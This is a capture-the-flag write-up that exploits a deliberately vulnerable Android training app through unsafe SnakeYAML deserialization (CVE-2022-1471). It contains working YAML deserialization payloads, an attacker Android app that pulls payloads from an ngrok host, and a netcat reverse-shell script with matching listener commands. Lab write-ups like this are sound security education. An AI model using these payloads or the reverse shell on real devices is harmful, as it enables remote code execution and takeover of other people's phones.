Mobile Hacking Lab - Config Editor
Exploiting Third-Party Library Vulnerabilities for RCE on Android: A Mobile Hacking Lab CTF Challenge
In the cybersecurity world, it’s important to stay up to date about vulnerabilities lurking in the dependencies and third-party libraries used by applications. These external components can introduce significant security risks, making applications susceptible to attacks. The “Config Editor” challenge presents a realistic scenario where an Android application is vulnerable to remote code execution (RCE) due to a flaw in a widely-used third-party library.
You can access the challenge here: Mobile Hacking Lab - Config Editor
The Challenge Overview
The challenge “Config Editor” revolves around an Android application that incorporates a third-party library for managing configuration settings. While this library provides convenient functionality, it contains a critical vulnerability that can be exploited to achieve remote code execution (RCE) on the device. Let’s go!
NOTE: I won’t go in details on each class/method since it’s very very similar to the “Document Viewer” challenge. If you want a more detailed code analysis, I encourage you to go here: 0xAlmighty - Document Viewer Walkthrough
Discovery Phase
The initial step I took was to open the application. This application provides limited functionality, offering only two features: “Load” and “Save”:
I selected “Load” and noticed that an “example.yaml” file was already present in the /sdcard/Download
directory. This indicates that the app generates and saves the file in this location during its operation:
I opted to monitor the logs using pidcat
upon launching the app to see if anything juicy would appear:
Sadly, nothing popped up. :/
I opened the example.yaml
file within the app and monitored the logs in pidcat
.
it’s throwing an error:
Error loading YAML: content://com.android.providers.downloads.documents/document/raw%3A%2Fstorage%2Femulated%2F0%2FDownload%2Fdummy.pdf
org.yaml.snakeyaml.error.YAMLException: java.nio.charset.MalformedInputException: Input length = 1
Super interesting! It turns out it’s utilizing org.yaml.snakeyaml
. Although I’m not entirely up to speed on every vulnerability out there in all libraries, a quick Google search revealed that snakeyaml has a known vulnerability to CVE-2022-1471 due to unsafe deserialization.
Snyk - Unsafe deserialization vulnerability in SnakeYaml (CVE-2022-1471)
I aimed to identify the version of snakeyaml in use, so I decompiled the application and went through the code to locate the snakeyaml version. I ran Deeeeper on the APK for decompiling and extracting details on the activities.
Processing Activities:
com.mobilehackinglab.configeditor.MainActivity (exported=true)
android.intent.action.MAIN
android.intent.action.VIEW
file://
http://
https://
The Processing Activities
describes the activities found on the MainActivity
of the com.mobilehackinglab.configeditor
package. The details outline how this main activity is configured in terms of its interaction with different types of intents and data schemes.
Exported=true
: This indicates that theMainActivity
is accessible to other apps. An activity withexported=true
can be started by components of other apps, which can be a security risk if not properly handled, especially when dealing with sensitive information and actions.android.intent.action.MAIN
: This is a standard category indicating that this activity serves as an entry point for the app. It’s what allows the activity to be launched directly from the launcher.android.intent.action.VIEW
: This shows that the activity is designed to handle aVIEW
action, which means it can display data to the user. Activities that respond to this action can be invoked to present various types of content to the user.file://
,http://
,https://
: These are the data schemes the activity can handle. It suggests that theMainActivity
is capable of opening and displaying content from these sources. Specifically:file://
indicates it can open files stored locally on the device.http://
andhttps://
indicate it can open web pages or online files over HTTP or HTTPS protocols.
Code Analysis
yaml.snakeyaml
public VersionTagsTuple processDirectives() {
[...]
List<Integer> value = token.getValue();
Integer major = value.get(0);
if (major.intValue() != 1) {
throw new ParserException(null, null, "found incompatible YAML document (version 1.* is required)", token.getStartMark());
}
Integer minor = value.get(1);
if (minor.intValue() == 0) {
this.directives = new VersionTagsTuple(DumperOptions.Version.V1_0, tagHandles);
} else {
this.directives = new VersionTagsTuple(DumperOptions.Version.V1_1, tagHandles);
}
[...]
I invested a significant amount of time trying to pinpoint the version to confirm its vulnerability status. Unfortunately, I wasn’t able to locate it. The only detail I discovered was the DumperOptions
version, but since I’m not well-versed in snakeyaml, I can’t definitively say if it’s relevant.
LegacyCommandUtil
This was new compared to “Document Viewer”. Let’s go over the code to understand how it works.
public final class LegacyCommandUtil {
- Declares the class
LegacyCommandUtil
asfinal
, meaning it cannot be subclassed. This is a common practice for utility classes or when class behavior should not be changed through inheritance.
public LegacyCommandUtil(String command) {
Intrinsics.checkNotNullParameter(command, "command");
Runtime.getRuntime().exec(command);
}
}
- Takes a single
String
parameter namedcommand
, which is intended to be executed by the runtime. Intrinsics.checkNotNullParameter(command, "command")
: A Kotlin intrinsic function call to ensure thecommand
argument is not null, throwing a NullPointerException if it is.Runtime.getRuntime().exec(command)
: Executes thecommand
string in the system’s runtime environment. This is money $
Might be the path to RCE? Always pay attention to exec!
Exploitation: RCE
Skipping the whole trial-and-error with payloads, we’re heading straight for the action. I did manage to write a file on the device, but let’s be real – snagging a shell on the device is way cooler. Let’s get to it!
Following this article: Snyk - Unsafe deserialization vulnerability in SnakeYaml (CVE-2022-1471).
We know that our .yaml
file needs to contain the payload. They suggest this payload:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]
The problem is that the app doesn’t make any ScriptEngineManager
calls, rendering our payload useless for this challenge.
How do we execute a command on the device? Recall the LegacyCommandUtil
? That’s our ticket in.
Building the payload
Building the payload was simple, make a call to LegacyCommandUtil
through the poisoned .yaml
file:
!!com.mobilehackinglab.configeditor.LegacyCommandUtil ["COMMAND TO RUN"]
We begin by invoking the package, followed by referencing the LegacyCommandUtil
and inserting the command within the []
.
Very similar to the “Document Viewer” challenge, we can get RCE using this adb
command but make sure to change the MIME type to match yaml
:
adb shell am start -a android.intent.action.VIEW -d "https://YOUR_URL/payload.yaml" -t "application/yaml" com.mobilehackinglab.configeditor/.MainActivity
The Runtime.getRuntime().exec(command);
has limitations regarding the commands it can execute. Now, let’s move on to exploring a workaround to obtain shell…
Building a Malicious App for Shell Access
It took several attempts to get a shell, but the entire effort was worth it.
Let’s fire up Android studio and in MainActivity.kt
enter this code at the top
Class Declaration
class MainActivity : AppCompatActivity() {
...
}
The MainActivity
class extends AppCompatActivity
, making it an Activity in the Android app. Activities are essential components of an Android application that provide a screen with which users can interact.
Activity Lifecycle Method
@SuppressLint("SetTextI18n")
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
// Call executeExploit
executeExploit()
}
The onCreate()
method is called when the activity is starting. This is where the method executeExploit()
is called to start the exploitation sequence.
Sequential Activity Launching
private fun executeExploit() {
val targetComponent = TargetComponent(
"com.mobilehackinglab.configeditor",
"com.mobilehackinglab.configeditor.MainActivity"
)
// Sequentially execute actions within a single coroutine scope
lifecycleScope.launch {
// Initial action: Launch an activity to handle "shell.yaml"
val downloadShell = "https://0xalmighty.ngrok.io/shell.yaml"
launchTargetActivity(targetComponent, downloadShell, "application/yaml")
// Wait for 1 second
delay(1000)
// Launch an activity to handle "1.yaml"
val exploit1 = "https://0xalmighty.ngrok.io/1.yaml"
launchTargetActivity(targetComponent, exploit1, "application/yaml")
// Wait for 1 second
delay(1000)
// Launch an activity to handle "2.yaml"
val exploit2 = "https://0xalmighty.ngrok.io/2.yaml"
launchTargetActivity(targetComponent, exploit2, "application/yaml")
// Wait for 1 second
delay(1000)
// Final action: Launch an activity to handle "3.yaml"
val exploit3 = "https://0xalmighty.ngrok.io/3.yaml"
launchTargetActivity(targetComponent, exploit3, "application/yaml")
}
}
The executeExploit
function defines a coroutine scope attached to the activity’s lifecycle. In this scope, it launches activities sequentially, each with a delay in between:
- It first launches an activity with the intent to open a URL (
shell.yaml
), waits for 1 second, and then sequentially opens other URLs (1.yaml
,2.yaml
,3.yaml
), each followed by a 1-second delay.
Launching a Target Activity
private fun launchTargetActivity(targetComponent: TargetComponent, dataUri: String, mimeType: String) {
val intent = Intent(Intent.ACTION_VIEW).apply {
setClassName(targetComponent.packageName, targetComponent.activityName)
setDataAndType(Uri.parse(dataUri), mimeType)
}
safelyStartActivity(intent)
}
This method constructs an Intent
to view a specific URI with the provided MIME type and launches an activity specified by the TargetComponent
. It sets the class name explicitly to ensure the intent is delivered to the intended component.
Safely Starting an Activity
private fun safelyStartActivity(intent: Intent) {
try {
startActivity(intent)
} catch (e: Exception) {
e.printStackTrace()
}
}
Attempts to start an activity using the provided Intent
, wrapped in a try-catch block to handle any exceptions that may occur during the process.
Target Component Data Class
data class TargetComponent(val packageName: String, val activityName: String)
A data class that holds the package name and activity name. It’s used to specify the target component for the intents.
Final code:
package com.configeditor.poc
import android.annotation.SuppressLint
import android.content.Intent
import android.net.Uri
import android.os.Bundle
import androidx.appcompat.app.AppCompatActivity
import androidx.lifecycle.lifecycleScope
import kotlinx.coroutines.delay
import kotlinx.coroutines.launch
class MainActivity : AppCompatActivity() {
@SuppressLint("SetTextI18n")
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
executeExploit()
}
private fun executeExploit() {
val targetComponent = TargetComponent(
"com.mobilehackinglab.configeditor",
"com.mobilehackinglab.configeditor.MainActivity"
)
lifecycleScope.launch {
launchTargetActivity(targetComponent, "https://0xalmighty.ngrok.io/shell.yaml", "application/yaml")
delay(1000)
launchTargetActivity(targetComponent, "https://0xalmighty.ngrok.io/1.yaml", "application/yaml")
delay(1000)
launchTargetActivity(targetComponent, "https://0xalmighty.ngrok.io/2.yaml", "application/yaml")
delay(1000)
launchTargetActivity(targetComponent, "https://0xalmighty.ngrok.io/3.yaml", "application/yaml")
}
}
private fun launchTargetActivity(targetComponent: TargetComponent, dataUri: String, mimeType: String) {
val intent = Intent(Intent.ACTION_VIEW).apply {
setClassName(targetComponent.packageName, targetComponent.activityName)
setDataAndType(Uri.parse(dataUri), mimeType)
}
safelyStartActivity(intent)
}
private fun safelyStartActivity(intent: Intent) {
try {
startActivity(intent)
} catch (e: Exception) {
e.printStackTrace()
}
}
}
data class TargetComponent(val packageName: String, val activityName: String)
Great, the app is ready! Now we need 4 files:
shell.yaml
1.yaml
2.yaml
3.yaml
shell.yaml
This is our shell. The shell.yaml
file should contain this payload.
#!/system/bin/sh
toybox nc IP 8084|sh && tail -n 0 -f /data/data/com.mobilehackinglab.configeditor/1 | /bin/sh -i 2>&1 | toybox nc IP 8085 1> /data/data/com.mobilehackinglab.configeditor/1
1.yaml
We have to rename shell.yaml
to shell.sh
for obvious reason! The 1.yaml
file should contain this payload:
!!com.mobilehackinglab.configeditor.LegacyCommandUtil ["mv /sdcard/Download/shell.yaml /sdcard/Download/shell.sh"]
2.yaml
We have to change shell.yaml
to an executable. The 2.yaml
file should contain this payload
!!com.mobilehackinglab.configeditor.LegacyCommandUtil ["chmod +x /sdcard/Download/shell.sh"]
3.yaml
We execute the shell.sh
to obtain the shell :) The 3.yaml
file should contain this payload:
!!com.mobilehackinglab.configeditor.LegacyCommandUtil ["sh ./sdcard/Download/shell.sh"]
The Execution
To make all of this work, I saved the file in a htdocs
folder, started a local server and forward the local adresse with Ngrok:
Start 2 listeners:
nc -lvn 8084
nc -lvn 8085
Install the APK on the device:
Launch the malicious app. You should see the file being fetched by the app with Ngrok:
Now, make sure to CONTROL+C
on the 8084
listener. This will instantly give you a shell on port 8085
POC Video
Here’s a video :)
Conclusion
The “Config Editor” challenge proved to be an exhilarating experience, particularly in regards to the shell exploit. One of the most intriguing aspects of this challenge was the striking similarity of the code to the “Document Viewer” challenge, which came as an unexpected surprise.
I must extend a huge shoutout and sincere appreciation to the Mobile Hacking Lab team. Their platform has been an invaluable resource in my journey to enhance my mobile application security skills. The challenges are not only educational but also genuinely enjoyable, striking the perfect balance between difficulty and satisfaction upon successful completion.
If you’re passionate about mobile security and seeking a platform that offers both challenging and rewarding experiences, I cannot recommend Mobile Hacking Lab enough. The “Config Editor” challenge is just a glimpse into the wealth of knowledge and expertise you’ll encounter on this exceptional platform.